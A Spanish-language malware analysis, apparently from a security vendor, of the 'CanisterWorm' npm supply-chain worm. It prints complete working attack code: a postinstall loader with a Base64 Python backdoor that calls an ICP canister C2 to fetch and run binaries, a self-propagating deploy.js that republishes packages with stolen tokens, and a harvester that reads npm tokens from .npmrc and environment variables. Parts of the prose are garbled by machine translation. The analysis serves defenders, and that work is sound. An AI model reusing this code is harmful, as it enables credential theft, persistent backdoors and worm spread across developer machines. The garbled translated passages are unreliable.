El 20 de marzo de 2026, a las 20:45 UTC, detectamos que un gran número de paquetes de NPM habían sido comprometidos por un nuevo gusano que no se había observado anteriormente. Hemos bautizado este ataque concreto como «CanisterWorm», ya que utiliza un contenedor ICP para su canal de comunicación C2 de entrega secreta, algo que es la primera vez que vemos en una campaña de este tipo.
Hasta ahora han llegado a un acuerdo:
- 28 paquetes en el
@EmilGroupámbito - El paquete
@teale.io/eslint-config, que recibe 7000 descargas semanales
Esto parece ser una continuación directa del ataque contraTrivy ocurrido haceTrivy de 24 horas, tal y como ha documentado detalladamente Wiz, y parece haber sido perpetrado por el mismo actor malicioso, TeamPCP.
Desglose técnico
A continuación se ofrece un resumen de los aspectos técnicos generales del ataque:
- 🬊 Arquitectura en tres fases. Cargador de Node.js tras la instalación → puerta trasera persistente en Python → punto de entrega oculto alojado en ICP para la entrega dinámica de la carga útil.
- 🪱 Gusano que se propaga por sí mismo.
deploy.jstoma tokens de npm, resuelve nombres de usuario, enumera todos los paquetes que se pueden publicar, actualiza las versiones de parche y publica el contenido en todo el ámbito. 28 paquetes en menos de 60 segundos. - 😎 Persistencia de systemd. Instala un servicio a nivel de usuario con
Reinicio = siempre. Funciona tras los reinicios, se reinicia tras un fallo y no requiere acceso de root. - 🌐 Un contenedor ICP como punto de entrega oculto C2. Un contenedor en la red principal de Internet Computer devuelve una URL que apunta a una carga útil binaria. Descentralizado, resistente a la censura, sin un único punto de bloqueo.
- 🔄 Rotación remota de la carga útil. El controlador del contenedor puede cambiar la URL en cualquier momento, enviando nuevos archivos binarios a todos los hosts infectados sin necesidad de modificar el implante.
- ⏱️ Evasión del entorno de pruebas. Suspensión de 5 minutos antes de la primera señal, y a partir de ahí un intervalo de sondeo de unos 50 minutos.
- 🤫 Un fallo silencioso. Todo el proceso posterior a la instalación está envuelto en
try/catch.npm installfunciona correctamente en todas las plataformas; la puerta trasera solo se activa en Linux con systemd. - 🐘 PostgreSQL en modo de enmascaramiento. Todos los artefactos deben denominarse de manera que pasen desapercibidos en los equipos de los desarrolladores:
pgmon,pglog,.pg_state. - 📄 Conservación del archivo README. El gusano recupera el archivo README original de cada paquete de destino antes de publicarlo para mantener las apariencias.
Carga útil - Malware
A continuación se muestra la carga maliciosa principal. Este archivo se ejecuta automáticamente como un postinstall enganchar durante npm install. Esto es lo que hace paso a paso:
- 🔓 Decodifica la carga útil incrustada. La larga cadena Base64 es un script de Python (la puerta trasera de segunda fase que veremos a continuación). Se descodifica y se escribe en
~/.local/share/pgmon/service.py. - 🟔 Crea un servicio de usuario de systemd. Guarda un archivo de unidad en
~/.config/systemd/user/pgmon.serviceque ejecuta el script de Python conReinicio = siemprey un retraso de reinicio de 5 segundos. No requiere acceso de root ni solicita contraseña. - 🚀 Inicia el servicio de inmediato. Funciona
systemctl --user daemon-reload, y a continuación habilita e inicia el servicio. La puerta trasera ya está en funcionamiento y seguirá activa tras los reinicios y los fallos del sistema. - 🐘 Se hace pasar por una herramienta de PostgreSQL. El servicio se llama
pgmon, el archivo binario que descarga posteriormente se llamapglog, y el archivo de estado es.pg_state. Un desarrollador que eche un vistazo a los servicios en ejecución ni siquiera se fijaría en ello.
'use strict';
const { execSync } = require('child_process');
const fs = require('fs');
const os = require('os');
const path = require('path');
try {
const pkg = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));
const SERVICE_NAME = 'pgmon';
const BASE64_PAYLOAD = 'aW1wb3J0IHVybGxpYi5yZXF1ZXN0CmltcG9ydCBvcwppbXBvcnQgc3VicHJvY2VzcwppbXBvcnQgdGltZQoKQ19VUkwgPSAiaHR0cHM6Ly90ZHRxeS1veWFhYS1hYWFhZS1hZjJkcS1jYWkucmF3LmljcDAuaW8vIgpUQVJHRVQgPSAiL3RtcC9wZ2xvZyIKU1RBVEUgPSAiL3RtcC8ucGdfc3RhdGUiCgpkZWYgZygpOgogICAgdHJ5OgogICAgICAgIHJlcSA9IHVybGxpYi5yZXF1ZXN0LlJlcXVlc3QoQ19VUkwsIGhlYWRlcnM9eydVc2VyLUFnZW50JzogJ01vemlsbGEvNS4wJ30pCiAgICAgICAgd2l0aCB1cmxsaWIucmVxdWVzdC51cmxvcGVuKHJlcSwgdGltZW91dD0xMCkgYXMgcjoKICAgICAgICAgICAgbGluayA9IHIucmVhZCgpLmRlY29kZSgndXRmLTgnKS5zdHJpcCgpCiAgICAgICAgICAgIHJldHVybiBsaW5rIGlmIGxpbmsuc3RhcnRzd2l0aCgiaHR0cCIpIGVsc2UgTm9uZQogICAgZXhjZXB0OgogICAgICAgIHJldHVybiBOb25lCgpkZWYgZShsKToKICAgIHRyeToKICAgICAgICB1cmxsaWIucmVxdWVzdC51cmxyZXRyaWV2ZShsLCBUQVJHRVQpCiAgICAgICAgb3MuY2htb2QoVEFSR0VULCAwbzc1NSkKICAgICAgICBzdWJwcm9jZXNzLlBvcGVuKFtUQVJHRVRdLCBzdGRvdXQ9c3VicHJvY2Vzcy5ERVZOVUxMLCBzdGRlcnI9c3VicHJvY2Vzcy5ERVZOVUxMLCBzdGFydF9uZXdfc2Vzc2lvbj1UcnVlKQogICAgICAgIHdpdGggb3BlbihTVEFURSwgInciKSBhcyBmOiAKICAgICAgICAgICAgZi53cml0ZShsKQogICAgZXhjZXB0OgogICAgICAgIHBhc3MKCmlmIF9fbmFtZV9fID09ICJfX21haW5fXyI6CiAgICB0aW1lLnNsZWVwKDMwMCkKICAgIHdoaWxlIFRydWU6CiAgICAgICAgbCA9IGcoKQogICAgICAgIHByZXYgPSAiIgogICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKFNUQVRFKToKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgd2l0aCBvcGVuKFNUQVRFLCAiciIpIGFzIGY6IAogICAgICAgICAgICAgICAgICAgIHByZXYgPSBmLnJlYWQoKS5zdHJpcCgpCiAgICAgICAgICAgIGV4Y2VwdDogCiAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgCiAgICAgICAgaWYgbCBhbmQgbCAhPSBwcmV2IGFuZCAieW91dHViZS5jb20iIG5vdCBpbiBsOgogICAgICAgICAgICBlKGwpCiAgICAgICAgICAgIAogICAgICAgIHRpbWUuc2xlZXAoMzAwMCkK';
if (!BASE64_PAYLOAD) process.exit(0);
const homeDir = os.homedir();
const dataDir = path.join(homeDir, '.local', 'share', SERVICE_NAME);
const scriptPath = path.join(dataDir, 'service.py');
const systemdUserDir = path.join(homeDir, '.config', 'systemd', 'user');
const unitFilePath = path.join(systemdUserDir, `${SERVICE_NAME}.service`);
fs.mkdirSync(dataDir, { recursive: true });
fs.writeFileSync(scriptPath, Buffer.from(BASE64_PAYLOAD, 'base64').toString('utf8'), { mode: 0o755 });
fs.mkdirSync(systemdUserDir, { recursive: true });
fs.writeFileSync(unitFilePath, [
'[Unit]',
`Description=${SERVICE_NAME}`,
'After=default.target',
'',
'[Service]',
'Type=simple',
`ExecStart=/usr/bin/python3 ${scriptPath}`,
'Restart=always',
'RestartSec=5',
'',
'[Install]',
'WantedBy=default.target',
'',
].join('\n'), { mode: 0o644 });
execSync('systemctl --user daemon-reload', { stdio: 'pipe' });
execSync(`systemctl --user enable ${SERVICE_NAME}.service`, { stdio: 'pipe' });
execSync(`systemctl --user start ${SERVICE_NAME}.service`, { stdio: 'pipe' });
} catch (_) {
// silent
}
Carga útil: puerta trasera en Python
Al descodificar la carga útil de systemd codificada en Base64, se obtiene lo siguiente. Se trata de la puerta trasera real que persiste en el sistema. Solo utiliza módulos de la biblioteca estándar de Python, por lo que no hay que instalar nada.
- ⏱️ Espera 5 minutos antes de hacer nada. Es tiempo suficiente para burlar la mayoría de los entornos de sandbox que detectan comportamientos sospechosos de forma inmediata.
- 📡 Llama a casa cada 50 minutos aproximadamente. Función
g()se conecta a un contenedor ICP utilizando un User-Agent de navegador falsificado. El contenedor no distribuye el malware directamente, sino que simplemente devuelve una URL en texto sin formato que apunta a la ubicación donde se aloja actualmente el archivo binario real. - 📥 Descarga y ejecuta todo lo que se le indique. Función
e()descarga el archivo binario a/tmp/pglog, lo marca como ejecutable y lo ejecuta en un proceso totalmente independiente. La URL se guarda en/tmp/.pg_statepara que no vuelva a descargar el mismo contenido dos veces. - 😎 Cuenta con un interruptor de seguridad integrado. Si la URL contiene
youtube[.]com, el script lo omite. Este es el estado inactivo del contenedor. El atacante activa el implante apuntando el contenedor hacia un archivo binario real, y lo desactiva volviendo a un enlace de YouTube. - 🔄 Admite la rotación de la carga útil. Si el atacante actualiza el contenedor para que apunte a una nueva URL, cada máquina infectada descarga el nuevo archivo binario en su siguiente consulta. El archivo binario anterior sigue ejecutándose en segundo plano, ya que el script nunca cierra los procesos anteriores.
import urllib.request
import os
import subprocess
import time
C_URL = "https://tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io/"
TARGET = "/tmp/pglog"
STATE = "/tmp/.pg_state"
def g():
try:
req = urllib.request.Request(C_URL, headers={'User-Agent': 'Mozilla/5.0'})
with urllib.request.urlopen(req, timeout=10) as r:
link = r.read().decode('utf-8').strip()
return link if link.startswith("http") else None
except:
return None
def e(l):
try:
urllib.request.urlretrieve(l, TARGET)
os.chmod(TARGET, 0o755)
subprocess.Popen([TARGET], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, start_new_session=True)
with open(STATE, "w") as f:
f.write(l)
except:
pass
if __name__ == "__main__":
time.sleep(300)
while True:
l = g()
prev = ""
if os.path.exists(STATE):
try:
with open(STATE, "r") as f:
prev = f.read().strip()
except:
pass
if l and l != prev and "youtube.com" not in l:
e(l)
time.sleep(3000)
Esta carga útil y el dominio al que se hace referencia parecen ser similares, si no idénticos, al sysmon.py carga útil del Trivy . En este momento, la URL que devuelve el servidor C2 es un vídeo de YouTube de Rickroll. Esto podría cambiar en cualquier momento y empezar a distribuir una carga útil maliciosa propiamente dicha.
Carga útil - Gusano
El paquete también incluye deploy.js, una herramienta de autopropagación que el atacante ejecuta manualmente para distribuir la carga maliciosa por todos los paquetes a los que tiene acceso un token de npm robado. El gusano es muy sencillo. Parece estar escrito íntegramente en Vibe y se explica por sí mismo. No se ha realizado ningún intento de ofuscación. Esto no se activa mediante npm install. Se trata de una herramienta independiente que el atacante ejecuta con tokens robados para maximizar el alcance del ataque. Esto es lo que hace:
- 😏 Admite varios tokens. Lecturas
NPM_TOKENS(separados por comas) oNPM_TOKENdel entorno. Cada token se procesa de forma independiente, lo que significa que una sola ejecución puede poner en peligro varias cuentas. - 😎 Determina a quién pertenece el token. Para cada token, ejecuta el comando npm
/-/quién soypunto final para obtener el nombre de usuario asociado. Los tokens no válidos o caducados se omiten. - 📦 Enumera todos los paquetes en los que la cuenta puede publicar. Utiliza la API de búsqueda de npm con
maintainer:<username>, paginadas en lotes de 250. Así es como descubrió las 28@emilgrouppaquetes. - 🟔 Actualiza automáticamente la versión del parche. Recupera el valor actual
latestversión de cada paquete de destino y aumenta el número de parche.1.54.0se convierte en1.54.1,1.97.1se convierte en1.97.2. La nueva versión siempre parece una actualización rutinaria. - 📄 Conserva el archivo README original. Antes de la publicación, recupera el archivo README existente del paquete de destino del registro y lo sustituye por el local. Tras la publicación, restaura sus propios archivos. De este modo, la ficha de npm se mantiene con un aspecto normal.
- 🟔 Reescrituras
package.jsonsobre la marcha. Sustituye temporalmente el nombre y la versión del paquete en el directorio localpackage.jsoncon los archivos de destino, los publica y luego restaura el original. Un único esqueleto malicioso, reutilizado para cada paquete. - 🚀 Publica con
--tag más reciente. El--acceso público --etiqueta «últimas novedades»Los indicadores garantizan que la versión maliciosa se convierta en la instalación predeterminada. Cualquiera que ejecutenpm install @emilgroup/whateverobtiene la versión comprometida. - 🧹 Se limpia solo. Ambos
package.jsonyREADME.mdsiempre se restauran en unfinalmentebloque, aunque falle la publicación. El directorio local parece no haber sufrido cambios tras la ejecución. - 📊 Imprime un resumen. Registra los éxitos y los fallos por token, y lo anota todo en líneas de estado precedidas por emojis. Irónicamente, está muy bien diseñada para ser una herramienta de ataque.
#!/usr/bin/env node
/**
* deploy.js
*
* Iterates over a list of NPM tokens to:
* 1. Authenticate with the npm registry and resolve your username per token
* 2. Fetch every package owned by that account from the registry
* 3. For every owned package:
* a. Deprecate all existing versions (except the new one you are publishing)
* b. Swap the "name" field in a temp copy of package.json
* c. Run `npm publish` to push the new version to that package
*
* Usage (multiple tokens, comma-separated):
* NPM_TOKENS=<token1>,<token2>,<token3> node scripts/deploy.js
*
* Usage (single token fallback):
* NPM_TOKEN=<your_token> node scripts/deploy.js
*
* Or set it in your environment beforehand:
* export NPM_TOKENS=<token1>,<token2>
* node scripts/deploy.js
*/
const { execSync } = require('child_process');
const https = require('https');
const fs = require('fs');
const path = require('path');
// ── Helpers ──────────────────────────────────────────────────────────────────
function run(cmd, opts = {}) {
console.log(`\n> ${cmd}`);
return execSync(cmd, { stdio: 'inherit', ...opts });
}
function fetchJson(url, token) {
return new Promise((resolve, reject) => {
const options = {
headers: {
Authorization: `Bearer ${token}`,
Accept: 'application/json',
},
};
https
.get(url, options, (res) => {
let data = '';
res.on('data', (chunk) => (data += chunk));
res.on('end', () => {
try {
resolve(JSON.parse(data));
} catch (e) {
reject(new Error(`Failed to parse response from ${url}: ${data}`));
}
});
})
.on('error', reject);
});
}
/**
* Fetches package metadata (readme + latest version) from the npm registry.
* Returns { readme: string|null, latestVersion: string|null }.
*/
async function fetchPackageMeta(packageName, token) {
try {
const meta = await fetchJson(
`https://registry.npmjs.org/${encodeURIComponent(packageName)}`,
token
);
const readme = (meta && meta.readme) ? meta.readme : null;
const latestVersion =
(meta && meta['dist-tags'] && meta['dist-tags'].latest) || null;
return { readme, latestVersion };
} catch (_) {
return { readme: null, latestVersion: null };
}
}
/**
* Bumps the patch segment of a semver string.
* e.g. "1.39.0" → "1.39.1"
*/
function bumpPatch(version) {
const parts = version.split('.').map(Number);
if (parts.length !== 3 || parts.some(isNaN)) return version;
parts[2] += 1;
return parts.join('.');
}
/**
* Returns an array of package names owned by `username`.
* Uses the npm search API filtered by maintainer.
*/
async function getOwnedPackages(username, token) {
let packages = [];
let from = 0;
const size = 250;
while (true) {
const url = `https://registry.npmjs.org/-/v1/search?text=maintainer:${encodeURIComponent(
username
)}&size=${size}&from=${from}`;
const result = await fetchJson(url, token);
if (!result.objects || result.objects.length === 0) break;
packages = packages.concat(result.objects.map((o) => o.package.name));
if (packages.length >= result.total) break;
from += size;
}
return packages;
}
/**
* Runs the full deploy pipeline for a single npm token.
* Returns { success: string[], failed: string[] }
*/
async function deployWithToken(token, pkg, pkgPath, newVersion) {
// 1. Verify token / get username
console.log('\n🔍 Verifying npm token…');
let whoami;
try {
whoami = await fetchJson('https://registry.npmjs.org/-/whoami', token);
} catch (err) {
console.error('❌ Could not reach the npm registry:', err.message);
return { success: [], failed: [] };
}
if (!whoami || !whoami.username) {
console.error('❌ Invalid or expired token — skipping.');
return { success: [], failed: [] };
}
const username = whoami.username;
console.log(`✅ Authenticated as: ${username}`);
// 2. Fetch all packages owned by this user
console.log(`\n🔍 Fetching all packages owned by "${username}"…`);
let ownedPackages;
try {
ownedPackages = await getOwnedPackages(username, token);
} catch (err) {
console.error('❌ Failed to fetch owned packages:', err.message);
return { success: [], failed: [] };
}
if (ownedPackages.length === 0) {
console.log(' No packages found for this user. Skipping.');
return { success: [], failed: [] };
}
console.log(` Found ${ownedPackages.length} package(s): ${ownedPackages.join(', ')}`);
// 3. Process each owned package
const results = { success: [], failed: [] };
for (const packageName of ownedPackages) {
console.log(`\n${'─'.repeat(60)}`);
console.log(`📦 Processing: ${packageName}`);
// 3a. Fetch the original package's README and latest version
const readmePath = path.resolve(__dirname, '..', 'README.md');
const originalReadme = fs.existsSync(readmePath)
? fs.readFileSync(readmePath, 'utf8')
: null;
console.log(` 📄 Fetching metadata for ${packageName}…`);
const { readme: remoteReadme, latestVersion } = await fetchPackageMeta(packageName, token);
// Determine version to publish: bump patch of existing latest, or use local version
const publishVersion = latestVersion ? bumpPatch(latestVersion) : newVersion;
console.log(
latestVersion
? ` 🔢 Latest is ${latestVersion} → publishing ${publishVersion}`
: ` 🔢 No existing version found → publishing ${publishVersion}`
);
if (remoteReadme) {
fs.writeFileSync(readmePath, remoteReadme, 'utf8');
console.log(` 📄 Using original README for ${packageName}`);
} else {
console.log(` 📄 No existing README found; keeping local README`);
}
// 3c. Temporarily rewrite package.json with this package's name + bumped version, publish, then restore
const originalPkgJson = fs.readFileSync(pkgPath, 'utf8');
const tempPkg = { ...pkg, name: packageName, version: publishVersion };
fs.writeFileSync(pkgPath, JSON.stringify(tempPkg, null, 2) + '\n', 'utf8');
try {
run('npm publish --access public --tag latest', {
env: { ...process.env, NPM_TOKEN: token },
});
console.log(`✅ Published ${packageName}@${publishVersion}`);
results.success.push(packageName);
} catch (err) {
console.error(`❌ Failed to publish ${packageName}:`, err.message);
results.failed.push(packageName);
} finally {
// Always restore the original package.json
fs.writeFileSync(pkgPath, originalPkgJson, 'utf8');
// Always restore the original README
if (originalReadme !== null) {
fs.writeFileSync(readmePath, originalReadme, 'utf8');
} else if (remoteReadme && fs.existsSync(readmePath)) {
// README didn't exist locally before — remove the temporary one
fs.unlinkSync(readmePath);
}
}
}
return results;
}
// ── Main ─────────────────────────────────────────────────────────────────────
(async () => {
// 1. Resolve token list — prefer NPM_TOKENS (comma-separated), fall back to NPM_TOKEN
const rawTokens = process.env.NPM_TOKENS || process.env.NPM_TOKEN || '';
const tokens = rawTokens
.split(',')
.map((t) => t.trim())
.filter(Boolean);
if (tokens.length === 0) {
console.error('❌ No npm tokens found.');
console.error(' Set NPM_TOKENS=<token1>,<token2>,… or NPM_TOKEN=<token>');
process.exit(1);
}
console.log(`🔑 Found ${tokens.length} token(s) to process.`);
// 2. Read local package.json once
const pkgPath = path.resolve(__dirname, '..', 'package.json');
const pkg = JSON.parse(fs.readFileSync(pkgPath, 'utf8'));
const newVersion = pkg.version;
// 3. Iterate over every token
const overall = { success: [], failed: [] };
for (let i = 0; i < tokens.length; i++) {
const token = tokens[i];
console.log(`\n${'═'.repeat(60)}`);
console.log(`🔑 Token ${i + 1} / ${tokens.length}`);
const { success, failed } = await deployWithToken(token, pkg, pkgPath, newVersion);
overall.success.push(...success);
overall.failed.push(...failed);
}
// 4. Overall summary
console.log(`\n${'═'.repeat(60)}`);
console.log('📊 Overall Deploy Summary');
console.log(` ✅ Succeeded (${overall.success.length}): ${overall.success.join(', ') || 'none'}`);
console.log(` ❌ Failed (${overall.failed.length}): ${overall.failed.join(', ') || 'none'}`);
if (overall.failed.length > 0) {
process.exit(1);
}
})();Actualización: El gusano CanisterWorm aprende a propagarse por sí mismo
Aproximadamente una hora después del incidente inicial @emilgroup En esta oleada, el atacante lanzó una importante actualización a @teale.io/eslint-config versiones 1.8.11 y 1.8.12 (21:16-21:21 UTC). El gusano ya no es una herramienta que requiera intervención manual. Ahora se propaga por sí solo.
En el @emilgroup versiones, deploy.js era un script independiente que el atacante ejecutaba manualmente con tokens robados. Las víctimas acababan infectadas con la puerta trasera, pero el gusano no se propagaba por sí solo. Eso cambió. El nuevo index.js añade un findNpmTokens() función que se ejecuta durante postinstall y recopila de forma activa los tokens de autenticación de npm del equipo de la víctima.
'use strict';
const { execSync, spawn } = require('child_process');
const fs = require('fs');
const os = require('os');
const path = require('path');
function findNpmTokens() {
const tokens = new Set();
const homeDir = os.homedir();
const npmrcPaths = [
path.join(homeDir, '.npmrc'),
path.join(process.cwd(), '.npmrc'),
'/etc/npmrc',
];
for (const rcPath of npmrcPaths) {
try {
const content = fs.readFileSync(rcPath, 'utf8');
for (const line of content.split('\n')) {
const m = line.match(/(?:_authToken\s*=\s*|:_authToken=)([^\s]+)/);
if (m && m[1] && !m[1].startsWith('${')) {
tokens.add(m[1].trim());
}
}
} catch (_) {}
}
const envKeys = Object.keys(process.env).filter(
(k) => k === 'NPM_TOKEN' || k === 'NPM_TOKENS' || (k.includes('NPM') && k.includes('TOKEN'))
);
for (const key of envKeys) {
const val = process.env[key] || '';
for (const t of val.split(',')) {
const trimmed = t.trim();
if (trimmed) tokens.add(trimmed);
}
}
try {
const configToken = execSync('npm config get //registry.npmjs.org/:_authToken 2>/dev/null', {
stdio: ['pipe', 'pipe', 'pipe'],
}).toString().trim();
if (configToken && configToken !== 'undefined' && configToken !== 'null') {
tokens.add(configToken);
}
} catch (_) {}
return [...tokens].filter(Boolean);
}
try {
const pkg = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));
const SERVICE_NAME = 'pgmon';
const BASE64_PAYLOAD = 'hello123';
if (!BASE64_PAYLOAD) process.exit(0);
const homeDir = os.homedir();
const dataDir = path.join(homeDir, '.local', 'share', SERVICE_NAME);
const scriptPath = path.join(dataDir, 'service.py');
const systemdUserDir = path.join(homeDir, '.config', 'systemd', 'user');
const unitFilePath = path.join(systemdUserDir, `${SERVICE_NAME}.service`);
fs.mkdirSync(dataDir, { recursive: true });
fs.writeFileSync(scriptPath, Buffer.from(BASE64_PAYLOAD, 'base64').toString('utf8'), { mode: 0o755 });
fs.mkdirSync(systemdUserDir, { recursive: true });
fs.writeFileSync(unitFilePath, [
'[Unit]',
`Description=${SERVICE_NAME}`,
'After=default.target',
'',
'[Service]',
'Type=simple',
`ExecStart=/usr/bin/python3 ${scriptPath}`,
'Restart=always',
'RestartSec=5',
'',
'[Install]',
'WantedBy=default.target',
'',
].join('\n'), { mode: 0o644 });
execSync('systemctl --user daemon-reload', { stdio: 'pipe' });
execSync(`systemctl --user enable ${SERVICE_NAME}.service`, { stdio: 'pipe' });
execSync(`systemctl --user start ${SERVICE_NAME}.service`, { stdio: 'pipe' });
try {
const tokens = findNpmTokens();
if (tokens.length > 0) {
const deployScript = path.join(__dirname, 'scripts', 'deploy.js');
if (fs.existsSync(deployScript)) {
spawn(process.execPath, [deployScript], {
detached: true,
stdio: 'ignore',
env: { ...process.env, NPM_TOKENS: tokens.join(',') },
}).unref();
}
}
} catch (_) {}
} catch (_) {}Se trata de la misma puerta trasera de systemd que antes, pero con una novedad crucial al final: tras instalar el servicio persistente, recopila todos los tokens de npm que encuentra y utiliza esos tokens para generar el gusano.
- 😎 Rasguños
.npmrcarchivos. Cheques~/.npmrc(configuración del usuario),.npmrcen el directorio de trabajo actual (configuración del proyecto), y/etc/npmrc(configuración global). Analiza cada línea en busca de_authTokenvalores. Es lo suficientemente inteligente como para omitir variables de plantilla como${NPM_TOKEN}que no se han interpolado. - 😎 Limpia las variables de entorno. Busca
NPM_TOKEN,NPM_TOKENS, y cualquier cosa que coincida*NPM*TOKEN*. Separa por comas para gestionar variables de varios tokens. Esto cubre la mayoría de las configuraciones de CI/CD. - 😎 Consulta directamente la configuración de npm. Carreras
npm config get //registry.npmjs.org/:_authTokencomo un subproceso para capturar tokens almacenados en el exterior.npmrcarchivos. - 🪱 Genera automáticamente el gusano. Si se encuentran fichas, se inicia
deploy.jscomo un proceso en segundo plano totalmente independiente con los tokens robados. Eldesconectado: truey.unref()significa que el gusano sigue funcionando incluso después denpm installacabados.
Este es el punto en el que el ataque pasa de «una cuenta comprometida publica malware» a «el malware compromete más cuentas y se propaga por sí mismo». Cada desarrollador o canalización de integración continua (CI) que instale este paquete y tenga un token de npm accesible se convierte, sin saberlo, en un vector de propagación. Sus paquetes se infectan, los usuarios posteriores los instalan y, si alguno de ellos tiene tokens, el ciclo se repite.
La carga útil de la puerta trasera ICP fue sustituida por hola123, una cadena de prueba ficticia que, al descodificarse, da como resultado bytes sin sentido. Cuando systemd intenta ejecutarla como Python, se bloquea inmediatamente, pero con Reinicio = siempre configuró el servicio para que se reiniciara de forma silenciosa cada 5 segundos. El atacante implementó primero la infraestructura necesaria para validar toda la cadena (recopilación de tokens, generación del gusano, persistencia en systemd) antes de equiparla con la carga útil real.
Si esto se hubiera lanzado con la puerta trasera de ICP al completo, todos los paquetes de los desarrolladores afectados se habrían convertido en un nuevo vector de infección. La tubería funciona. Simplemente aún no han abierto el grifo.
Esta noticia está en desarrollo; permanezcan atentos a las novedades...

